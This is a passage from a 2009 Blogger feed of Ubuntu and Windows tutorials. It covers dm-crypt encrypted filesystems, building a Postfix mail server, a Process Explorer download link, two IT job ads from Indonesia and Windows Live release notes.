layers on top of real block devices, allowing developers to implement special handlers for mirroring, snapshotting, concatenation, and encryption. As far as filesystem tools are concerned, they are dealing with a real block device, and any special functionality is hidden away by device-mapper.&lt;br /&gt;dm-crypt is a device-mapper target that uses the kernel crypto API to provide transparent encryption, and it's even backward-compatible with the on-disk format used by cryptloop&lt;br /&gt;&lt;br /&gt;Kernel Setup&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;dm-crypt uses the kernel's crypto API to perform the actual encryption. The standard Dapper kernel loads crypto ciphers as modules, and this hack uses 256-bit AES encryption, so make sure that your kernel has AES support loaded:&lt;br /&gt;&lt;br /&gt;$ cat /proc/crypto&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;256-bit AES is an extremely high-grade encryption algorithm that has been approved by the NSA for use in protecting classified information up to the TOP SECRET level, which is the highest security level, encompassing information that would cause exceptionally grave damage to U.S. national security if disclosed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If AES support is loaded, you will see output like:&lt;br /&gt;name         : aes&lt;br /&gt;module       : aes&lt;br /&gt;type         : cipher&lt;br /&gt;blocksize    : 16&lt;br /&gt;min keysize  : 16&lt;br /&gt;max keysize  : 32&lt;br /&gt;&lt;br /&gt;If it's not loaded, you can force it to load manually using modprobe:&lt;br /&gt;$ sudo modprobe aes&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Cryptsetup should load this module automatically when required, but it's useful to know how to check for it and load the module manually if necessary.&lt;br /&gt;Install the dmsetup package, which will provide the tools you need to configure the device-mapper target:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install dmsetup cryptsetup&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Check that the dmsetup package has created the device mapper:&lt;br /&gt;&lt;br /&gt;$ ls -l /dev/mapper/control&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Load the dm-crypt kernel module:&lt;br /&gt;&lt;br /&gt;$ sudo modprobe dm-crypt&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;The dm-crypt module registers itself automatically with device-mapper when it's loaded, so next check that device-mapper has recognized it and added crypt as an available target:&lt;br /&gt;&lt;br /&gt;$ sudo dmsetup targets&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;If everything has gone according to plan, you'll see crypt in the output:&lt;br /&gt;&lt;br /&gt;crypt            v1.1.0&lt;br /&gt;striped          v1.0.2&lt;br /&gt;linear           v1.0.1&lt;br /&gt;error            v1.0.1&lt;br /&gt;&lt;br /&gt;Your system is now ready to mount encrypted devices. First, though, you need to create one!&lt;br /&gt;&lt;br /&gt;Create an Encrypted Device&lt;br /&gt;&lt;br /&gt;There are two options for creating a filesystem to mount as an encrypted device: create a disk image as a file and mount it as a loopback device, or use an actual block device (for example, /dev/hda3). In both cases, the procedure is almost identical, with the exception of some extra preparation required to create and bind the loopback device.&lt;br /&gt;&lt;br /&gt;Create a loopback disk image&lt;br /&gt;&lt;br /&gt;If you don't have a real device, such as a memory stick or extra disk partition, that you can encrypt, you can instead use dd to create an empty disk image and mount it as a loopback device. In this example, you'll call it secret.img and make it 100 MB in size. Just alter the count value if you want to make it a different size:&lt;br /&gt;$ dd if=/dev/zero of=~/secret.img bs=1M count=&lt;br /&gt;                  &lt;br /&gt;                     100&lt;br /&gt;                  &lt;br /&gt;               &lt;br /&gt;&lt;br /&gt;Use losetup to associate the image with a loopback device:&lt;br /&gt;&lt;br /&gt;$ sudo losetup /dev/loop/0 ~/secret.img&lt;br /&gt;               &lt;br /&gt;&lt;br /&gt;You will now have a virtual block device at /dev/loop/0 that you can reference just like any other block device.&lt;br /&gt;&lt;br /&gt;Set up the block device&lt;br /&gt;&lt;br /&gt;Now you can set up either a real block device (for example, /dev/sda1) or a virtual block device, such as the loopback image created in the previous step, and mount it as an encrypted logical volume using device-mapper. Start by using cryptsetup to create a logical volume (called mysecrets) and bind the block device to it:&lt;br /&gt;$ sudo cryptsetup -y create mysecrets &lt;br /&gt;                  &lt;br /&gt;                     /dev/DEVICENAME&lt;br /&gt;                  &lt;br /&gt;               &lt;br /&gt;&lt;br /&gt;The last argument must be the block device that will be used as an encrypted volume, so if you're using the loopback image created in the previous step as a virtual block device, you would instead run something like:&lt;br /&gt;&lt;br /&gt;$ sudo cryptsetup -y create mysecrets /dev/loop/0&lt;br /&gt;&lt;br /&gt;In either case, you will be asked for a passphrase for the logical volume, and the -y flag indicates that cryptsetup should confirm the passphrase by asking you for it twice. It's critical that you get it right, because otherwise you'll find yourself locked out of your own data!&lt;br /&gt;&lt;br /&gt;You can then confirm that the logical volume has been created:&lt;br /&gt;&lt;br /&gt;$ sudo dmsetup ls&lt;br /&gt;               &lt;br /&gt;&lt;br /&gt;You should see the logical volume listed, although the major and minor device numbers may vary:&lt;br /&gt;&lt;br /&gt;mysecrets (254, 0)&lt;br /&gt;&lt;br /&gt;device-mapper mounts its virtual devices under /dev/mapper, so you should now have a virtual block device at /dev/mapper/mysecrets that behaves just like any other block device but is transparently encrypted.&lt;br /&gt;Just like a real block device, you can create a filesystem on it:&lt;br /&gt;&lt;br /&gt;$ sudo mkfs.ext3 /dev/mapper/mysecrets&lt;br /&gt;               &lt;br /&gt;Create a mount point for the new virtual block device and mount it:&lt;br /&gt;&lt;br /&gt;$ sudo mkdir /mnt/mysecrets&lt;br /&gt;$ sudo mount /dev/mapper/mysecrets /mnt/mysecrets&lt;br /&gt;               &lt;br /&gt;&lt;br /&gt;You should now be able to see it mounted just like any other device:&lt;br /&gt;&lt;br /&gt;$ df -h /mnt/mysecrets&lt;br /&gt;Filesystem              Size  Used Avail Use% Mounted on&lt;br /&gt;/dev/mapper/mysecrets    97M  4.1M   88M   5% /mnt/mysecrets&lt;br /&gt;&lt;br /&gt;Voil\x88 ! You now have a mounted filesystem that behaves just like any other filesystem, but any data you write to /mnt/mysecrets/ will be transparently encrypted before being written to disk, and anything you read from it will be decrypted on the fly.&lt;br /&gt;&lt;br /&gt;Unmounting&lt;br /&gt;&lt;br /&gt;Unmount the encrypted filesystem as usual:&lt;br /&gt;&lt;br /&gt;$ sudo umount /mnt/mysecrets&lt;br /&gt;            &lt;br /&gt;Even after you have unmounted the block device, it's still configured in dm-crypt as a virtual device. You can confirm this by running sudo dmsetup ls again and seeing that the device is still listed. Because dm-crypt caches the passphrase, any other user on the computer can now remount the device without needing to know the passphrase. To prevent this, you need to explicitly remove the device from dm-crypt after unmounting it:&lt;br /&gt;&lt;br /&gt;$ sudo cryptsetup remove mysecrets&lt;br /&gt;&lt;br /&gt;After that, it will be truly gone, and remounting it will require the passphrase again.&lt;br /&gt;You can simplify the process by creating a tiny script to unmount and remove the device:&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;umount /mnt/mysecrets&lt;br /&gt;cryptsetup remove mysecrets&lt;br /&gt;&lt;br /&gt;Remounting&lt;br /&gt;&lt;br /&gt;Since you'll probably want to mount the encrypted device as your normal user, it will make things easier if you add something like this to your /etc/fstab:&lt;br /&gt;&lt;br /&gt;/dev/mapper/mysecrets /mnt/mysecrets ext3 noauto,noatime 0 0&lt;br /&gt;&lt;br /&gt;You can also create a script that will take care of creating the dm-crypt device and mounting the volume for you (replace /dev/DEVICENAME with the actual device name or path to the file):&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;cryptsetup create mysecrets /dev/DEVICENAME&lt;br /&gt;mount /dev/mapper/mysecrets /mnt/mysecrets&lt;br /&gt;&lt;br /&gt;If you're using a loopback device, you can also have the script bind the device for you:&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;losetup /dev/loop/0 ~/secret.img&lt;br /&gt;cryptsetup create mysecrets /dev/loop/0&lt;br /&gt;mount /dev/mapper/mysecrets /mnt/mysecrets&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;If you get the message "ioctl: LOOP_SET_FD: Device or resource busy," it probably means that the loop device is still mounted. You can remove it with sudo losetup -d /dev/loop/0. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hacking the Hack&lt;br /&gt;&lt;br /&gt;You can even have your entire home directory encrypted if you configure the PAM (Pluggable Authentication Modules) subsystem to mount it for you when you log in. The libpam-mount module allows PAM to mount arbitrary devices automatically when a user logs in, so install it along with openssl:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install libpam-mount openssl&lt;br /&gt;&lt;br /&gt;Edit /etc/pam.d/common-auth and add this line to the end:&lt;br /&gt;&lt;br /&gt;auth    optional        pam_mount.so use_first_pass&lt;br /&gt;&lt;br /&gt;Then edit /etc/pam.d/common-session and add this line to the end:&lt;br /&gt;&lt;br /&gt;session optional        pam_mount.so&lt;br /&gt;&lt;br /&gt;You need to configure PAM to know what volume to mount and where. In this example, the username is jon and you're using the device /dev/sda1, so substitute your username and device and add a line like this to /etc/security/pam_mount.conf:&lt;br /&gt;&lt;br /&gt;volume jon crypt - /dev/sda1 /home/jon cipher=aes aes-256-ecb /home/jon.key&lt;br /&gt;            &lt;br /&gt;&lt;span style="font-style:italic;"&gt;If you want to use a disk image, you need to specify the loop device (such as /dev/loop/0) here and ensure that the system has run losetup before jon has a chance to log in (for example, you could put losetup /dev/loop/0 /home/secret.img into /etc/rc.local).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Because the volume is encrypted, PAM needs access to the key to mount it. The last argument tells PAM to look in /home/jon.key for the key, so create the key file by encrypting your passphrase using OpenSSL:&lt;br /&gt;&lt;br /&gt;$ sudo sh -c "echo &lt;br /&gt;               '&lt;br /&gt;               &lt;br /&gt;                  YOUR PASSPHRASE&lt;br /&gt;               &lt;br /&gt;               ' &lt;br /&gt;               | openssl aes-256-ecb &gt; &lt;br /&gt;               &lt;br /&gt;                  /home/jon.key"&lt;br /&gt;               &lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;You will then be asked for a password, and you must enter the same password you use to log in as that user. The reason is that when you log in, PAM will take the password you provide, use it to decrypt the key file, and then use the passphrase contained in the key file to mount your home directory using dm-crypt.&lt;br /&gt;Note, however, that the step above will leave your passphrase in plain text in your .history file, so clear your history (with history -c) or at least edit it to remove the command before proceeding.&lt;br /&gt;&lt;br /&gt;Another approach that avoids storing your passphrase in an encrypted key file is to create your encrypted filesystem with the exact same password you use to log in. Then PAM can simply pass your password through to dm-crypt when you authenticate rather than extract it from the key file. In that situation, you can use a line like this in /etc/security/pam_mount.conf instead:&lt;br /&gt;&lt;br /&gt;volume jon crypt - /dev/sda1 /home/jon cipher=aes - -&lt;br /&gt;&lt;br /&gt;Finally, to make sure your encrypted home directory is unmounted automatically when you log out, edit /etc/login.defs and make sure the CLOSE_SESSIONS option is set:&lt;br /&gt;&lt;br /&gt;CLOSE_SESSIONS yes&lt;br /&gt;               &lt;br /&gt;  &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3533490359543979920?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3533490359543979920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3533490359543979920'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/10/use-encrypted-filesystem-to-protect.html' title='Use an Encrypted Filesystem to Protect Your Data'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1430177057973311128</id><published>2009-10-02T21:51:00.002+07:00</published><updated>2009-10-02T22:25:11.631+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><title type='text'>Download Process Explorer</title><content type='html'>Ever wondered which program has a particular file or directory open? Now you can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded.&lt;br /&gt;&lt;br /&gt;The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work. Download, &lt;a href="http://www.ziddu.com/download/6670564/ProcessExplorer.zip.html"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source. &lt;a href="http://source-x.blogspot.com" target="_blank"&gt;source-x.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Original source &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx" target="_blank"&gt;technet.microsoft.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1430177057973311128?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1430177057973311128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1430177057973311128'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/10/download-process-explorer.html' title='Download Process Explorer'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-6774559209454649582</id><published>2009-09-03T22:28:00.001+07:00</published><updated>2009-09-03T22:30:27.002+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Build an Email Server</title><content type='html'>Setting up an email server is remarkably straightforward, but there are a couple of things to be very careful of so it doesn't end up being a haven for spammers. &lt;br /&gt;An email server consists of several components: an SMTP (Simple Mail Transport Protocol) server to handle mail transfer between hosts, POP and IMAP servers to give users access to mailboxes from their desktop mail clients, and often some kind of mail-filtering system for reducing spam and viruses passing through the system.&lt;br /&gt;&lt;br /&gt;Postfix SMTP Server&lt;br /&gt;&lt;br /&gt;There are many SMTP servers available in Ubuntu, and many administrators have their own personal preference, but the Postfix SMTP server is a good general-purpose choice that is fast, secure, and extensible:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install postfix&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;The installation process will ask some questions about how the system will operate. Select Internet Site as the operation mode and set Mail Name to your domain.&lt;br /&gt;Once the package has been installed, open /etc/postfix/main.cf in an editor and find a line like:&lt;br /&gt;&lt;br /&gt;mynetworks = 127.0.0.0/8&lt;br /&gt;&lt;br /&gt;To allow computers on your network to send outgoing email through the server, you need to add your network range to the mynetworks value. For example, if your network is the 192.168.0.0 class-C range, you would edit the line to read:&lt;br /&gt;mynetworks = 127.0.0.0/8 192.168.0.0/24&lt;br /&gt;&lt;br /&gt;This setting is critical to preventing your mail server being used as a relay by spammers, so only add network ranges that you trust.&lt;br /&gt;When mail is delivered to a local user, it can be stored in several different ways. The older and most common approach is the mbox format, which stores all mail in a single file for each user, but the performance of the mbox format falls off dramatically with large mail volumes. Most newer mail systems use the maildir format, which stores messages in individual files nested inside directories. Postfix can handle either format equally well. Add this line to main.cf to use the maildir format:&lt;br /&gt;&lt;br /&gt;home_mailbox = Maildir/&lt;br /&gt;&lt;br /&gt;The Maildir/ value is appended to the home directory path of the recipient, and the trailing slash indicates to use the maildir format for storage.&lt;br /&gt;Finally, look for a line that starts with mydestination =. Mail for all domains listed in this line will be accepted by your mail server, and local delivery will be attempted, so if you will host mail for multiple domains, add them here.&lt;br /&gt;Restart Postfix to make your changes take effect:&lt;br /&gt;&lt;br /&gt;$ sudo /etc/init.d/postfix restart&lt;br /&gt;            &lt;br /&gt;If you will be using your mail server only as an outbound mail gateway, that's all you need to do. Configure your email client to use your mail server for outbound mail and try sending a message to an external email account.&lt;br /&gt;If the message doesn't come through, try "putting a tail" on the Postfix logfile to see what went wrong, and adjust your configuration as necessary:&lt;br /&gt;&lt;br /&gt;$ sudo tail -f /var/log/mail.log&lt;br /&gt;            &lt;br /&gt;Reduce Spam with Greylisting&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;There are a variety of methods to protect your users from spam, but unfortunately there is no magic solution that causes absolutely no false positives or negatives. Greylisting is one approach that requires very little ongoing maintenance but has a very high success rate with very few false positives in which valid email is mistakenly rejected.&lt;br /&gt;&lt;br /&gt;Greylisting works on the premise that valid mail servers will attempt redelivery of mail if they receive a "temporarily unavailable" error from the destination server, while spam hosts and viruses will typically attempt delivery only once and then move on to the next target. This means legitimate mail from a remote system will be delayed, but afterwards your mail server will remember that the sender is valid and let the mail straight through. The delay on the first message can be inconvenient, but on the whole, greylisting is one of the most successful spam-mitigation techniques currently available. To take advantage of greylisting, install Postgrey:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install postgrey&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Postgrey runs as a daemon on your mail server on port 60000, so configure Postfix to use it as a delivery policy service. Open /etc/postfix/main.cf and add an entry for the service:&lt;br /&gt;&lt;br /&gt;smtpd_recipient_restrictions =&lt;br /&gt;        reject_unauth_destination,&lt;br /&gt;        check_policy_service inet:127.0.0.1:60000&lt;br /&gt;&lt;br /&gt;Then restart Postfix and put a tail on the Postfix logfile before sending a test message to the system from an external mail server. On the first delivery attempt, you will see the message rejected with a nonfatal error, and then after five minutes your mail server will allow the message to be delivered. Subsequent messages from the same remote system will be delivered immediately.&lt;br /&gt;Activity Reporting&lt;br /&gt;To see how much traffic your mail server is handling, install the mailgraph package and start it up:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install mailgraph&lt;br /&gt;$ sudo /etc/init.d/mailgraph start&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Mailgraph watches mail-server activity and logs it in an extremely efficient database, and then builds graphs that you can access through a web browser at http:// yourhost /cgi-bin/mailgraph.cgi. By default, the graphs are accessible from anywhere, so if you prefer to keep them secret, you may wish to restrict access to them using an Apache .htaccess file or with explicit access control in the Apache configuration.&lt;br /&gt;POP and IMAP Services&lt;br /&gt;To allow users to collect mail from the server, you need to run IMAP and/or POP services. Once again, there is a variety of alternatives, each of which have advantages and disadvantages, but the Courier suite provides very simple setup and natively supports maildir format:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install courier-imap courier-imap-ssl \\&lt;br /&gt;                 courier-pop courier-pop-ssl&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;If you configured Postfix to use maildirs, as described above, you don't need to make any changes to the Courier configuration: it will automatically detect the maildirs, and everything should just work. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-6774559209454649582?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6774559209454649582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6774559209454649582'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/09/build-email-server.html' title='Build an Email Server'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-732897779879505976</id><published>2009-09-03T22:22:00.001+07:00</published><updated>2009-09-03T22:28:02.690+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>IT Dept Vacancy</title><content type='html'>CAREER OPPORTUNITIES&lt;br /&gt;(&lt;a href="http://indomobilfinance.com" target="_blank"&gt;www.indomobilfinance.com&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;We are an Automotive Finance Company, a subsidiary of Indomobil Group. We have created all core application and made virtual private network to all branches.  As one of the biggest finance company in Indonesia, we offer some good career opportunities in several field.&lt;br /&gt;&lt;br /&gt;IT Programmer ( JP )&lt;br /&gt;&lt;br /&gt;    * Min. Bachelor Degree (S1) in Computer Science or Information Technology with min GPA is 3.0 (on 4.0 scale)&lt;br /&gt;    * Proficient in programming (VB 6.0, ASP.NET, Crystal Report 8.5, etc)&lt;br /&gt;    * Deep understanding of ADO, dll component, 3rd party component, winsocks with Visual Basic&lt;br /&gt;    * Deep understanding of RDBMS methodologies, writing stored procedure, function, view and trigger with Ms SQL Server&lt;br /&gt;    * Fast learner and eager to help people&lt;br /&gt;    * Willing to work in a team&lt;br /&gt;    * Female or male with max 23 years old  &lt;br /&gt;&lt;br /&gt;IT Helpdesk ( HD )&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;    * Min. Bachelor Degree (S1) in Information Management or Accounting with min GPA is 3.0 (on 4.0 scale)&lt;br /&gt;    * Having knowledge and experience of LAN/WAN, PC and peripheral troubleshooting would be an advantage&lt;br /&gt;    * Having knowledge of SQL Server&lt;br /&gt;    * Having knowledge of Ms Office (Word, Excel, PowerPoint) would be an advantage&lt;br /&gt;    * Fast learner and eager to help people&lt;br /&gt;    * Have good interpersonal relationship&lt;br /&gt;    * Willing to work in a team&lt;br /&gt;    * Female or male and max 23 years old&lt;br /&gt;&lt;br /&gt;Please send a current CV and most recent photograph to :&lt;a href="mailto:ITrecruitment@Indomobilfinance.com"&gt;&lt;br /&gt;ITrecruitment@Indomobilfinance.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source &lt;a href="http://jobsdb.com" target="_blank"&gt;jobsdb.com&lt;/a&gt; learn more about photoshop, &lt;a href=" http://hemlet.lpnow.hop.clickbank.net/?tid=81"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-732897779879505976?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/732897779879505976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/732897779879505976'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/09/it-dept-vacancy.html' title='IT Dept Vacancy'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1532742125292782829</id><published>2009-08-08T00:38:00.001+07:00</published><updated>2009-08-08T00:42:31.043+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>Senior Java Developer Vacancy</title><content type='html'>We are innovative, fast growing company with a core focus in Web Application Development using Java. Web Software Consulting is our main core business, although we have as well other core products of our own.&lt;br /&gt;&lt;br /&gt;We believe in Software Quality as our main focus to deliver high standard software to our customers. That's why we provide a lot of benefits related to our employee education so they can become the best of the best.&lt;br /&gt;&lt;br /&gt;If you are a Javaholic, we challange you !&lt;br /&gt;&lt;br /&gt;Qualifications :&lt;br /&gt;&lt;br /&gt;·         Strong in Java, Hibernate and Spring.&lt;br /&gt;&lt;br /&gt;·         Very Good in Object Oriented Programming and Design.&lt;br /&gt;&lt;br /&gt;·         Minimum 4 years of Java programming experience.&lt;br /&gt;&lt;br /&gt;·         Be able to write working, clean, well designed and well tested codes.&lt;br /&gt;&lt;br /&gt;·         Strong will to learn other application developing technologies.&lt;br /&gt;&lt;br /&gt;·         Strong discipline, fast learner, and hard working.&lt;br /&gt;&lt;br /&gt;·         Fluent in English.&lt;br /&gt;&lt;br /&gt;What we offer you:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;·         Organized tasks and well scheduled planning.&lt;br /&gt;&lt;br /&gt;·         Competitive salary&lt;br /&gt;&lt;br /&gt;·         Flexible working time and flexible working place. One working day per week can be done at home.&lt;br /&gt;&lt;br /&gt;·         Financial support for Professional Certification&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The interested Candidates are welcomed for their application and CV within 2 weeks after this advertisement to: &lt;a href="mailto:jobs@xtouchstudio.com"&gt;jobs@xtouchstudio.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source &lt;a href="http://jobsdb.com" target="_blank"&gt;jobsdb.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1532742125292782829?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1532742125292782829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1532742125292782829'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/08/senior-java-developer-vacancy.html' title='Senior Java Developer Vacancy'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-612756904548332000</id><published>2009-08-08T00:31:00.002+07:00</published><updated>2009-08-08T00:38:09.718+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><title type='text'>Windows Live Release Notes</title><content type='html'>IM and e-mail stay in touch. With Messenger, you can chat, swap photos, and see what’s new with friends. Mail brings together your Hotmail, Gmail, and other accounts, along with multiple calendars.&lt;br /&gt;Messenger&lt;br /&gt;&lt;br /&gt;Mail Photos and movies&lt;br /&gt;Use Photo Gallery and Movie Maker to edit and organize your photos and movies, and then post them online or send them to friends.&lt;br /&gt;Photo Gallery&lt;br /&gt;Movie Maker beta&lt;br /&gt;&lt;br /&gt;Blogging&lt;br /&gt;With Windows Live Writer, blogging is a breeze. You can add photos and videos, format everything just so, and publish to most blogging services.&lt;br /&gt;Writer&lt;br /&gt;&lt;br /&gt;Web browsing&lt;br /&gt;With Toolbar, you can customize your browser and find what you need, fast. Family Safety helps you keep your kids safer online.&lt;br /&gt;Toolbar&lt;br /&gt;Family Safety&lt;br /&gt;&lt;br /&gt;System requirements&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Windows Live products require the following:&lt;br /&gt;&lt;br /&gt;* Operating system: Windows XP with Service Pack 2 (32-bit edition only), Windows Vista (32-bit or 64-bit editions), Windows 7 Beta (32-bit or 64-bit editions), or Windows Server 2008. Note: Windows Live Movie Maker is not supported on Windows XP&lt;br /&gt;* Processor: 1 GHz or higher for Windows Vista; 800 MHz or higher for Windows XP&lt;br /&gt;* Memory: 128 MB of RAM (256 MB or more recommended) for Windows XP; 512 MB for Windows Vista&lt;br /&gt;* Resolution: Minimum 1024 x 768&lt;br /&gt;* Internet connection: Internet functionality requires dial-up or broadband Internet access (provided separately). Local or long-distance charges may apply.&lt;br /&gt;* Browser: Windows Live Toolbar requires Microsoft Internet Explorer 6 or later&lt;br /&gt;* Graphics or video card: Windows Live Movie Maker requires ATI Radeon 9500 (or higher) or nVidia GeForce FX 5900 (or higher).&lt;br /&gt;&lt;br /&gt;Additional requirements&lt;br /&gt;The following components are needed for specific Windows Live programs, and may be installed for you if they’re not already on your computer.&lt;br /&gt;&lt;br /&gt;* For Writer: Microsoft .NET Framework 2.0 or higher*&lt;br /&gt;* For Photo Gallery: SQL 2005 Compact Edition and Windows Imaging Codecs*&lt;br /&gt;* For Photo Gallery and Movie Maker: Some components of DirectX9.&lt;br /&gt;&lt;br /&gt;* Not required when installing on Windows Vista.&lt;br /&gt;&lt;br /&gt;Note&lt;br /&gt;To install or uninstall Windows Live products, you must have administrator rights on the computer. learn more, &lt;a href="http://www.ziddu.com/download/5146712/windowslive-ReleaseNotes.pdf.html" target="_blank"&gt;click here &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-612756904548332000?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/612756904548332000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/612756904548332000'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/08/windows-live-release-notes.html' title='Windows Live Release Notes'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' 